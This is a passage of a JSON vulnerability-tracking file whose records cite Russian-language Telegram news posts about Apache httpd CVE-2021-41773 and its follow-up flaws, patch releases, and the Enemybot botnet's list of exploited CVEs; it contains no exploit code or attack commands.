\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 0-day CVE-2021-41773. \n\n\u0412\u0441\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c, \u0432\u0441\u0435 \u0441\u0447\u0430\u0441\u0442\u043b\u0438\u0432\u044b. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b...\n\n\u041d\u043e Apache Software Foundation \u0440\u0435\u0448\u0438\u043b\u0438 \u043a\u043e\u0441\u043f\u043b\u0435\u0438\u0442\u044c Microsoft \u0438 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0430\u0442\u0447, \u0430 \u043f\u043e\u0442\u043e\u043c \u0434\u043e\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a \u043d\u0435\u043c\u0443 DLC. \u0413\u043e\u0432\u043e\u0440\u044f\u0442, \u0442\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441 \u043c\u043e\u0434\u043d\u043e.\n\n\u0414\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e 2.4.50 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u043d\u0435 \u0434\u043e \u043a\u043e\u043d\u0446\u0430 (\u043d\u043e\u0432\u0430\u044f \u0434\u044b\u0440\u043a\u0430 \u0431\u044b\u043b\u0430 \u043f\u043e\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0430 CVE-2021-42013) \u0438 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f 2.4.51. \n\n\u041a\u043e\u0440\u043e\u0447\u0435, \u043e\u043f\u044f\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c.", "creation_timestamp": "2021-10-08T10:03:32.000000Z"}, {"uuid": "d0e1447c-e1e3-4874-b2e0-88f37719cbfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/xMalaXK4nB6zHUpdDoUE_36RHTbPpAtBEcnxELHMeArfEQ", "content": "", "creation_timestamp": "2021-10-13T04:56:51.000000Z"}, {"uuid": "702f17cb-a8ab-4617-bdc2-b70bfdff6e69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/true_secator/2391", "content": "\u0411\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u043d\u0435\u0434\u0435\u043b\u044c \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-41773 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Apache, \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430.\n \n\u0424\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (BSI) \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438 \u0438 Cisco \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 PoC \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-40438.\n \n\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (SSRF), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 httpd, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u043c\u043e\u0434\u0443\u043b\u044c mod_proxy.\n \n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043a\u043b\u044e\u0447\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b) \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c (\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043c\u0435\u043d\u0435\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438, \u0447\u0435\u043c \u0432\u043d\u0435\u0448\u043d\u0438\u0435).\n \n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Apache HTTP \u043f\u0440\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e 2.4.48 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u0432\u0435\u0440\u0441\u0438\u0438 2.4.49. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u044d\u0442\u043e\u043c, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0435\u0434\u0443\u0442 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 httpd (\u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b AWS, Microsoft Azure \u0438 Google Cloud Platform \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u0442\u0430\u043a\u0438\u0445 \u0430\u0442\u0430\u043a).\n \nCisco \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 Prime Collaboration Provisioning, Security Manager, Expressway \u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u0438\u0434\u0435\u043e\u0441\u0432\u044f\u0437\u0438 TelePresence \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f 5 \u043e\u0448\u0438\u0431\u043e\u043a  HTTP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Apache.\n \n\u0421 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, BSI \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u0441\u0442\u0430\u0432\u0448\u0435\u043c \u0438\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, \u043a\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439\u0441\u044f \u0434\u044b\u0440\u043e\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0445\u044d\u0448-\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u0437 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n \n\u0423\u0432\u0435\u0440\u0435\u043d\u044b \u043d\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0435 \u0438 \u043d\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043a\u0430 \u0435\u0449\u0435 \u043d\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0435.", "creation_timestamp": "2021-11-30T18:04:00.000000Z"}, {"uuid": "bca871b5-2113-476d-9b26-98c41fc2a244", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/K2iBOhd0lri9r93BsiwZlPWlyW5BLlXbLG0kJ2GwVWmafQ", "content": "", "creation_timestamp": "2021-10-30T13:02:36.000000Z"}, {"uuid": "f147f973-4079-430e-81fb-36aaa6d4515f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/tzMeIaQe8jWhFS66sUpACTghiA8uGE1m3M73dCLH57TxXA", "content": "", "creation_timestamp": "2021-11-08T14:49:01.000000Z"}, {"uuid": "f152e064-4e80-4cbe-91aa-0ed7321e24aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/NeKaspersky/1313", "content": "Apache \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0439\u043d\u0441\u0442\u0440\u0438\u043c\u0443 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f 0-day \u0432 \u0441\u0432\u043e\u0451\u043c \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435(\u043a\u0430\u043a Microsoft).\u0410\u043f\u0434\u0435\u0439\u0442 \u0434\u043b\u044f CVE-2021-41773 \u0443\u0436\u0435 \u0432\u044b\u0448\u0435\u043b \u0432\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a, \u043d\u043e \u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0438\u043b\u043e. \n\n\u041f\u0430\u0442\u0447 2.4.50 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b \u0434\u044b\u0440\u0443 \u043d\u0435 \u0434\u043e \u043a\u043e\u043d\u0446\u0430, \u043e \u0447\u0435\u043c \u0441\u043a\u0430\u0437\u0430\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438:\n\n\u00ab\u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u0430\u0442\u0447 \u043d\u0435 \u0440\u0435\u0448\u0430\u043b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2021-41773, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0433\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0431\u0445\u043e\u0434 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0438 \u0437\u0430\u043c\u0430\u043f\u0438\u0442\u044c URL \u043d\u0430 \u0444\u0430\u0439\u043b\u044b, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0435\u0441\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439. \u0415\u0441\u043b\u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 CGI-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430\u0441\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430\u00bb.\n\n\u00ab\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0435\u0440\u0441\u0438\u0438 Apache 2.4.49 \u0438 2.4.50. \u0411\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0440\u0435\u043b\u0438\u0437\u044b \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u044d\u0442\u0443 \u0434\u044b\u0440\u0443\u00bb.", "creation_timestamp": "2022-05-12T13:12:52.000000Z"}, {"uuid": "381db71d-38e4-4fe1-8721-569f53a512ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/NeKaspersky/2117", "content": "\u041d\u043e\u0432\u044b\u0439 \u0431\u043e\u0442\u043d\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0435\u0440\u0431\u0443\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b \u0438 IoT-\u0434\u0435\u0432\u0430\u0439\u0441\u044b \u0432 \u0441\u0432\u043e\u0438 \u0440\u044f\u0434\u044b\n\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u0443\u0433\u0440\u043e\u0437 \u0438\u0437 Fortinet \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043c\u0430\u043b\u0432\u0430\u0440\u044c \u00ab\u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435\u00bb, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0435\u0435 \u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0447\u0435\u0442 \u043e \u0435\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0435.  \u041f\u043e \u0438\u0445 \u0441\u043b\u043e\u0432\u0430\u043c, Enemybot \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0431\u0430\u0437\u0435 Mirai \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430 \u0441\u0447\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0412\u0435\u0449\u0435\u0439.  \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u0437\u0430 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u043c, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0440\u0438\u043f\u0442\u043e-\u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0435 \u0438 DDoS-\u0430\u0442\u0430\u043a\u0430\u0445 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0431\u043e\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0446\u0435\u043b\u0435\u0439.\n\nEnemybot \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044e \u0441\u0442\u0440\u043e\u043a, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0435\u0433\u043e C2 \u043f\u0440\u044f\u0447\u0435\u0442\u0441\u044f \u0432 \u0441\u0435\u0442\u0438 Tor, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u0435\u0437\u0433\u043b\u0430\u0432\u0438\u0442\u044c \u0431\u043e\u0442\u043d\u0435\u0442 \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e.  \u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0433\u043e \u0434\u0435\u0432\u0430\u0439\u0441\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 C2 \u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 DDoS-\u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u043d\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u0430 \u044d\u0442\u0438\u043c \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u043e\u0441\u044f\u0447\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043a\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0438 Enemybot, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u044f\u0432\u0438\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440: \u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 Enemybot \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u043e\u0434 x86, x64, i686, darwin, bsd, arm \u0438 arm64, ppc, m68k \u0438 spc.\n\n\u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, Fortinet \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e 3 CVE \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432\u0441\u0435\u043c\u0438 \u0441\u0431\u043e\u0440\u043a\u0430\u043c\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430:\n\u2022 CVE-2020-17456: RCE \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 Seowon Intech SLC-130 \u0438 SLR-120S (CVSS 9.8).\n\u2022 CVE-2018-10823: RCE \u0432 D-Link DWR (CVSS 8.8).\n\u2022 CVE-2022-27226: \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 cronjob (\u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u043a\u0441\u043e\u0432\u044b\u0445 \u0434\u0435\u043c\u043e\u043d\u043e\u0432 \u0430\u0432\u0442\u043e\u0441\u0442\u0430\u0440\u0442\u0430) \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 iRZ (CVSS 8.8).\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430: CVE-2022-25075-25084 \u0432 TOTOLINK, CVE-2021-44228/2021-45046 (Log4Shell), CVE-2021-41773/CVE-2021-42013 \u0432 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Apache, CVE-2018-20062 \u0432 ThinkPHP CMS, CVE-2017-18368 \u0432 Zyxel P660HN, CVE-2016-6277 \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 NETGEAR, CVE-2015-2051 \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 D-Link \u0438\nCVE-2014-9118 \u0432 